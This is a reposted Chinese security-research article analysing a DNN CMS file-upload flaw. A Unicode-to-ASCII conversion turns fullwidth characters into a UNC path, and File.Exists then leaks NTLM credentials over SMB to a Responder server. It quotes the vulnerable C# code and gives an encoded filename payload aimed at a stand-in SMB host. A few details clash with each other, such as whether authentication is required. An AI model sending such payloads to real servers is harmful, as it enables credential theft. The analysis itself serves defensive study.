DNN最新漏洞挖掘与技术复盘:从Unicode转换到SMB凭证窃取

admin 2026-02-10 14:39:39 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章分析了DNNCMS中一个通过文件上传功能窃取NTLM凭证的漏洞。核心成因是Utility.ConvertUnicodeChars方法使用1251编码转ASCII时,特定Unicode字符会被畸形转换为反斜杠,构造出UNC路径。结合Path.Combine特性(第二个参数为绝对路径时忽略第一个参数),使File.Exists触发SMB连接。漏洞需认证后利用,攻击者通过Responder服务器捕获凭证。文章还涉及C#文件操作隐患、Unicode规范化问题及防护绕过技术细节。 综合评分: 85 文章分类: 漏洞分析,代码审计,WEB安全,内网渗透,安全研究


cover_image

DNN 最新漏洞挖掘与技术复盘:从 Unicode 转换到 SMB 凭证窃取

原创

阿 bin 阿 bin

星盟安全团队

2026年2月9日 13:14 陕西

加入我们点击下方链接

星盟安全团队纳新计划

DNN 算是 CMS 领域里名副其实的“老牌选手”了——作为一款开源 CMS,它从 2003 年正式上线至今,历经近 20 年迭代,依旧有不少企业在生产环境中持续使用,可见其在行业内的留存度之高。不过这款“老将”的安全表现却不尽如人意,早年间它就曾爆出过经典漏洞:攻击者仅通过不安全的 Cookie 反序列化,就能实现 RCE,成为安全圈里反序列化攻击的典型教学案例。

而在今年 4 月初,我关注到有安全团队再次在 DNN 中挖到了新漏洞——这个漏洞的危害同样不容小觑,攻击者利用它可以向任意主机发起 SMB 调用,只要搭建一台 Responder 服务器,就能轻松窃取目标主机的 NTLM 凭证。这种“低成本、高收益”的攻击方式着实让人眼前一亮,于是我便将这个漏洞复现并深入研究了一番,梳理出其中的技术细节和攻击逻辑,分享给各位做技术参考。

前置知识:C# 与 Windows 中的文件系统操作隐患

在深入分析 DNN 这个新漏洞之前,我们先铺垫一个核心知识点:如果 Windows 系统上运行着 .NET 代码,那么攻击者一旦能够控制文件路径相关的输入,就很容易利用文件操作的特性发起攻击。

最典型的场景就是:攻击者向目标系统传入一个 UNC 路径,目标系统的 .NET 代码在执行文件操作时,就会主动连接到 UNC 路径指向的攻击者控制的 SMB 服务器——轻则可以读取远程文件,重则会直接泄露目标主机的 NTLM 凭证。

可能有人会说,Windows 本身可以通过修改配置防范这种 UNC 路径攻击,但现实情况是,到了“2026 年”,仍有大量企业在使用 DNN 这类老旧软件,而运行这些老软件的系统,大多没有开启相关防护配置,这就导致这种“老套路”攻击依旧能屡试不爽

我在审计 DNN 代码的过程中发现,C# 中的多个常用函数都存在这类隐患,比如 File.Exists、System.Net.HttpRequest 等,只要涉及文件路径的处理,就有可能被利用;更关键的是,这种问题并非 C# 独有,其他编程语言在 Windows 环境下也会遇到类似问题——甚至不用传入网络共享路径,仅仅在 Windows 系统中传入一个 HTTP 网址,就能玩出各种攻击花样。

关键知识点:Path.Combine 方法的“坑点”与 Unicode 规范化问题

在 DNN 这个漏洞中,Path.Combine 方法的特性起到了关键作用,这里必须重点提一下:Path.Combine 是 C# 中用于拼接文件路径的常用方法,但它有一个容易被忽略的特性——如果拼接的第二个路径是绝对路径,那么该方法会直接忽略第一个路径,只返回第二个绝对路径。这个特性本身是合理的,但如果被攻击者利用,就会导致路径跳转,进而引发安全问题。

关于 Path.Combine 方法的这个隐患,微软官方博客也曾有过相关说明,感兴趣的可以查看这篇文章:Good chance for canonicalization attack when using Path.Combine

https://learn.microsoft.com/uk-ua/archive/blogs/alikl/good-chance-for-canonicalization-attack-when-using-path-combine

链接原文内容翻译及整理:

使用 Path.Combine() 时可能遭遇的路径规范化攻击

在我之前的文章《.Net 程序集欺骗攻击》中,我描述了在使用反射动态加载程序集时,可能存在的 DLL 劫持/欺骗攻击风险。

今天我在审查某个项目时,恰好遇到了这样的案例。其中一个引起我注意的点是,用于反射加载的 DLL 路径,是通过以下方式构建的:

让我运行这段代码,看看当我输入预期的 DLL 名称(比如 alikl.dll)时会发生什么:

现在,让我们输入一些非预期的内容,比如 Z:\XACKER\ATTACK.DLL:

这意味着,如果我们向 Combine 方法的第二个参数传入完整路径,该方法会直接忽略第一个参数。

如何进行验证防护?

  1. 使用 Path.GetFullPath() 方法校验路径合法性,将结果与我们预期的路径(本文案例中为 C:\DLLS)进行对比;
  2. 为你的程序集签名,并显式校验其验证信息

除此之外,Unicode 规范化问题也是本次漏洞的核心诱因之一。Unicode 字符的多样性的可能导致输入的字符串经过转换后,变成攻击者预期的恶意内容,进而绕过系统的防护校验。微软官方也有相关文档介绍这类问题

漏洞成因综合分析:DNN 代码中的防护“失效”与关键漏洞点

铺垫完前面的知识点,我们回到 DNN 的漏洞本身——前面提到的所有隐患,最终都在 DNN 的一段代码中集中爆发。本次漏洞的触发点,是 DNN 中一个未认证的文件上传端点,对应的代码路径为:Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx.cs,核心是 UploadWholeFile 方法中的文件名称处理逻辑。

1. 代码防护逻辑梳理

先看一下开发人员原本的防护思路——为了防止攻击者在文件名中植入绝对路径等恶意内容,开发人员做了多层防护,看似考虑得十分周全:

private&nbsp;void&nbsp;UploadWholeFile(HttpContext context, List<FilesUploadStatus> statuses){&nbsp; &nbsp;&nbsp;for&nbsp;(int&nbsp;i =&nbsp;0; i < context.Request.Files.Count; i++)&nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;file&nbsp;= context.Request.Files[i];
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;fileName = Path.GetFileName(file.FileName);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!string.IsNullOrEmpty(fileName))&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Replace dots in the name with underscores (only one dot can be there... security issue).&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fileName = Regex.Replace(fileName,&nbsp;@"\.(?![^.]*$)",&nbsp;"_", RegexOptions.None);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Check for Illegal Chars&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(Utility.ValidateFileName(fileName))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fileName = Utility.CleanFileName(fileName);&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Convert Unicode Chars&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fileName = Utility.ConvertUnicodeChars(fileName);&nbsp; &nbsp; &nbsp; &nbsp; }&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;else&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;throw&nbsp;new&nbsp;HttpRequestValidationException("File does not have a name");&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(fileName.Length >&nbsp;220)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; fileName = fileName.Substring(fileName.Length -&nbsp;220);&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;fileNameNoExtenstion = Path.GetFileNameWithoutExtension(fileName);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Rename File if Exists&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!this.OverrideFiles)&nbsp; &nbsp; &nbsp; &nbsp; {&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;var&nbsp;counter =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;while&nbsp;(File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName)))&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// 后续逻辑省略...

我们拆解一下这几层防护:

  • 使用 Path.GetFileName(file.FileName):仅提取文件名部分,理论上可以过滤掉攻击者传入的绝对路径(比如传入“C:\test.txt”,Path.GetFileName 会只返回“test.txt”);
  • 使用 Regex.Replace 替换特殊字符:通过正则表达式,将文件名中除了最后一个“.”之外的所有“.”替换成下划线,防止攻击者通过多后缀名(如“test.exe.txt”)绕过文件类型校验;
  • 双重校验非法字符:先调用 Utility.ValidateFileName 校验文件名是否包含非法字符,若校验通过,再调用 Utility.CleanFileName 进一步清理文件名,兜底防范前面的防护未拦住的风险;
  • 限制文件名长度:将文件名长度限制在 220 字符以内,避免超长文件名带来的异常处理问题。

2. 防护失效的关键:Utility.ConvertUnicodeChars 方法

不得不说,开发人员的防护思路是没问题的,但千算万算,最终栽在了 Utility.ConvertUnicodeChars 这个方法上——正是这个看似“清理 Unicode 字符”的方法,直接导致前面所有的防护都形同虚设。

我们先看一下这个方法的完整代码,以及它的设计初衷:

/// <summary>Cleans the name of the file.</summary>/// <param name="fileName">/// Name of the file./// </param>/// <returns>/// The clean file name./// </returns>public&nbsp;static&nbsp;string&nbsp;CleanFileName(string fileName){&nbsp; &nbsp;&nbsp;return&nbsp;FileNameCleaner.Replace(fileName, string.Empty);}
/// <summary>Converts the Unicode chars to its to its ASCII equivalent.</summary>/// <param name="input">The <paramref name="input"/>.</param>/// <returns>The ASCII equivalent output.</returns>public&nbsp;static&nbsp;string&nbsp;ConvertUnicodeChars(string input){&nbsp; &nbsp;&nbsp;Regex&nbsp;regA&nbsp;=&nbsp;new&nbsp;Regex("[ã|à|â|ä|á|å]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regAA&nbsp;=&nbsp;new&nbsp;Regex("[Ã|À|Â|Ä|Á|Å]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regE&nbsp;=&nbsp;new&nbsp;Regex("[é|è|ê|ë]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regEE&nbsp;=&nbsp;new&nbsp;Regex("[É|È|Ê|Ë]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regI&nbsp;=&nbsp;new&nbsp;Regex("[í|ì|î|ï]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regII&nbsp;=&nbsp;new&nbsp;Regex("[Í|Ì|Î|Ï]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regO&nbsp;=&nbsp;new&nbsp;Regex("[õ|ò|ó|ô|ö]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regOO&nbsp;=&nbsp;new&nbsp;Regex("[Õ|Ó|Ò|Ô|Ö]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regU&nbsp;=&nbsp;new&nbsp;Regex("[ù|ú|û|ü|µ]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regUU&nbsp;=&nbsp;new&nbsp;Regex("[Ü|Ú|Ù|Û]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regY&nbsp;=&nbsp;new&nbsp;Regex("[ý|ÿ]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regYY&nbsp;=&nbsp;new&nbsp;Regex("[Ý]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regAE&nbsp;=&nbsp;new&nbsp;Regex("[æ]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regAEAE&nbsp;=&nbsp;new&nbsp;Regex("[Æ]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regOE&nbsp;=&nbsp;new&nbsp;Regex("[œ]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regOEOE&nbsp;=&nbsp;new&nbsp;Regex("[Œ]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regC&nbsp;=&nbsp;new&nbsp;Regex("[ç]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regCC&nbsp;=&nbsp;new&nbsp;Regex("[Ç]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regDD&nbsp;=&nbsp;new&nbsp;Regex("[Ð]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regN&nbsp;=&nbsp;new&nbsp;Regex("[ñ]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regNN&nbsp;=&nbsp;new&nbsp;Regex("[Ñ]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regS&nbsp;=&nbsp;new&nbsp;Regex("[š]");&nbsp; &nbsp;&nbsp;Regex&nbsp;regSS&nbsp;=&nbsp;new&nbsp;Regex("[Š]");&nbsp; &nbsp; input = regA.Replace(input,&nbsp;"a");&nbsp; &nbsp; input = regAA.Replace(input,&nbsp;"A");&nbsp; &nbsp; input = regE.Replace(input,&nbsp;"e");&nbsp; &nbsp; input = regEE.Replace(input,&nbsp;"E");&nbsp; &nbsp; input = regI.Replace(input,&nbsp;"i");&nbsp; &nbsp; input = regII.Replace(input,&nbsp;"I");&nbsp; &nbsp; input = regO.Replace(input,&nbsp;"o");&nbsp; &nbsp; input = regOO.Replace(input,&nbsp;"O");&nbsp; &nbsp; input = regU.Replace(input,&nbsp;"u");&nbsp; &nbsp; input = regUU.Replace(input,&nbsp;"U");&nbsp; &nbsp; input = regY.Replace(input,&nbsp;"y");&nbsp; &nbsp; input = regYY.Replace(input,&nbsp;"Y");&nbsp; &nbsp; input = regAE.Replace(input,&nbsp;"ae");&nbsp; &nbsp; input = regAEAE.Replace(input,&nbsp;"AE");&nbsp; &nbsp; input = regOE.Replace(input,&nbsp;"oe");&nbsp; &nbsp; input = regOEOE.Replace(input,&nbsp;"OE");&nbsp; &nbsp; input = regC.Replace(input,&nbsp;"c");&nbsp; &nbsp; input = regCC.Replace(input,&nbsp;"C");&nbsp; &nbsp; input = regDD.Replace(input,&nbsp;"D");&nbsp; &nbsp; input = regN.Replace(input,&nbsp;"n");&nbsp; &nbsp; input = regNN.Replace(input,&nbsp;"N");&nbsp; &nbsp; input = regS.Replace(input,&nbsp;"s");&nbsp; &nbsp; input = regSS.Replace(input,&nbsp;"S");
&nbsp; &nbsp; input = input.Replace("�", string.Empty);
&nbsp; &nbsp; input = Encoding.ASCII.GetString(Encoding.GetEncoding(1251).GetBytes(input));
&nbsp; &nbsp; input = input.Replace("?", string.Empty);&nbsp;// replace the unknown char which created in above.&nbsp; &nbsp; input = input.Replace("�", string.Empty);&nbsp; &nbsp; input = input.Replace("\t", string.Empty);&nbsp; &nbsp; input = input.Replace("@",&nbsp;"at");&nbsp; &nbsp; input = input.Replace("\r", string.Empty);&nbsp; &nbsp; input = input.Replace("\n", string.Empty);&nbsp; &nbsp; input = input.Replace("+",&nbsp;"_");
&nbsp; &nbsp;&nbsp;return&nbsp;input;}

从方法注释可以看出,ConvertUnicodeChars 的设计目的是“将 Unicode 字符转换为对应的 ASCII 等效字符”,比如将“ã”转换为“a”、“ç”转换为“c”,避免 Unicode 字符在不同环境下出现显示或处理异常。但其中的一行代码,直接埋下了安全隐患:

input = Encoding.ASCII.GetString(Encoding.GetEncoding(1251).GetBytes(input));

这行代码的逻辑是:先将输入的字符串按照 1251 编码转换为字节数组,再将这个字节数组按照 ASCII 编码转换回字符串。看似简单的编码转换,却会导致 Unicode 字符被“畸形转换”——攻击者可以构造特定的 Unicode 字符,经过这行代码转换后,变成 “\”,进而构造出恶意的 UNC 路径。

3. 漏洞触发流程拆解

结合前面的防护逻辑和编码转换问题,我们可以梳理出完整的漏洞触发流程:

  1. 攻击者构造恶意文件名:传入包含特定 Unicode 字符的文件名,这些 Unicode 字符经过 ConvertUnicodeChars 方法中的编码转换后,会变成“\”,最终拼接成 UNC 路径(如“file.ext\example.com\share”);
  2. 绕过多层防护:由于攻击者传入的是 Unicode 字符,而非直接的绝对路径或“\”,因此前面的 Path.GetFileName、正则替换、非法字符校验等防护措施,都无法识别出恶意内容,直接放行;
  3. 触发 SMB 连接:代码执行到 while (File.Exists(Path.Combine(this.StorageFolder.PhysicalPath, fileName))) 时,Path.Combine 方法发现 fileName 是绝对路径(UNC 路径属于绝对路径的一种),会直接忽略第一个参数(StorageFolder.PhysicalPath,目标系统的本地路径),只返回攻击者构造的 UNC 路径;
  4. 窃取 NTLM 凭证:File.Exists 方法会尝试访问这个 UNC 路径指向的 SMB 服务器(攻击者搭建),而 Windows 系统在访问远程 SMB 服务器时,会自动发送本地的 NTLM 凭证进行身份验证,攻击者通过 Responder 服务器捕获这些凭证,即可完成窃取。

4. 关键恶意 Unicode 字符示例

我在研究过程中,参考了其他安全研究者的文章,收集到几个典型的 Unicode 字符——它们经过 Encoding.ASCII.GetString(Encoding.GetEncoding(1251).GetBytes(input)) 转换后,会变成“\”,进而构造恶意 UNC 路径,示例如下:

原始输入:file%EF%BC%8Eext%EF%BC%BC%EF%BC%BCexample%EF%BC%8Ecom%EF%BC%BCshare

转换后:file.ext\\example.com\share
最终生效路径:file.ext\\example.com\share

攻击向量变体挖掘与限制

在复现漏洞的过程中,我尝试挖掘该漏洞的攻击向量变体,发现理论上可以通过类似的思路,在 DNN 中构造其他恶意输入,进一步扩大攻击范围。但遗憾的是,DNN 中的一段验证逻辑,限制了该漏洞的利用场景——未认证用户无法触发漏洞。

这段验证逻辑位于另一个代码文件中,路径为:Platform/Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/Browser.aspx.cs,核心代码如下:

if&nbsp;((this.currentSettings.BrowserMode.Equals(BrowserType.StandardBrowser) ||&nbsp;this.currentSettings.ImageButtonMode.Equals(ImageButtonType.EasyImageButton))&& HttpContext.Current.Request.IsAuthenticated)

从代码可以看出,要访问该文件上传相关的功能,必须满足两个条件之一:当前浏览器模式为 StandardBrowser,或图片按钮模式为 EasyImageButton,同时要求 HTTP 请求是已认证状态。经过多次测试,这段验证逻辑无法绕过,这就意味着,攻击者必须先获取 DNN 系统的合法用户账号(无论权限高低),登录后才能利用该漏洞窃取 NTLM 凭证——这在一定程度上降低了漏洞的危害,但依旧无法忽视其风险。

结论与思考

总的来说,DNN 这次爆出的 SMB 凭证窃取漏洞,算是一个“典型的防护失效类漏洞”——开发人员做了多层防护,却因为一个编码转换的细节疏忽,导致所有防护功亏一篑。这个漏洞的有趣之处在于,它并非利用了某个函数的未知漏洞,而是利用了编码转换的特性和 Path.Combine 方法的固有行为,属于“逻辑类漏洞”,这类漏洞往往更难被发现,也更具迷惑性。

同时,这个漏洞也给我们带来了几点启示:

  • 编码转换需谨慎:在处理用户输入时,尤其是文件名、路径这类敏感输入,任何编码转换操作都要充分考虑安全风险,避免出现“畸形转换”导致恶意内容绕过防护;
  • 防护逻辑需闭环:多层防护的核心是“相互补充、无懈可击”,不能忽视任何一个细节——哪怕是一个看似“无关紧要”的字符清理方法,也可能成为整个防护体系的突破口;
  • 老旧软件需重视:DNN 这类老旧开源软件,虽然使用广泛,但安全更新往往不及时,加上运行环境普遍缺乏防护配置,很容易成为攻击者的目标,企业需加强对老旧软件的安全审计和防护。

这次漏洞研究的过程,也让我对 C# 文件操作、Windows 编码特性以及 SMB 协议的安全风险有了更深入的理解——看似简单的代码逻辑,背后可能隐藏着不为人知的安全隐患,这或许就是漏洞挖掘的乐趣所在吧


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:星盟安全团队 阿 bin 阿 bin《DNN 最新漏洞挖掘与技术复盘:从 Unicode 转换到 SMB 凭证窃取》

评论:0   参与:  3